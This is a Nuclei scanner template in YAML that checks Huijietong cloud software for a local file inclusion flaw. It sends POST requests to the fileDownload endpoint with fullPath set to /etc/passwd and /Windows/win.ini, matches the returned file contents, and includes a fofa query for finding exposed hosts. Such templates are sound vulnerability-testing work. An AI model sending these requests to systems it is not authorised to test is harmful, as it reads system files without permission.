nuclei-templates/http/vulnerabilities/other/huijietong-cloud-fileread.yaml

36 lines
802 B
YAML

id: huijietong-cloud-fileread
info:
name: Huijietong - Local File Inclusion
author: princechaddha,ritikchaddha
description: Huijietong is vulnerable to local file inclusion.
severity: high
metadata:
max-request: 2
fofa-query: body="/him/api/rest/v1.0/node/role"
tags: huijietong,lfi
http:
- method: POST
path:
- "{{BaseURL}}/fileDownload?action=downloadBackupFile"
body: 'fullPath=/etc/passwd'
- method: POST
path:
- "{{BaseURL}}/fileDownload?action=downloadBackupFile"
body: 'fullPath=/Windows/win.ini'
matchers-condition: and
matchers:
- type: regex
part: body
regex:
- "root:.*:0:0:"
- "\\[(font|extension|file)s\\]"
condition: or
- type: status
status:
- 200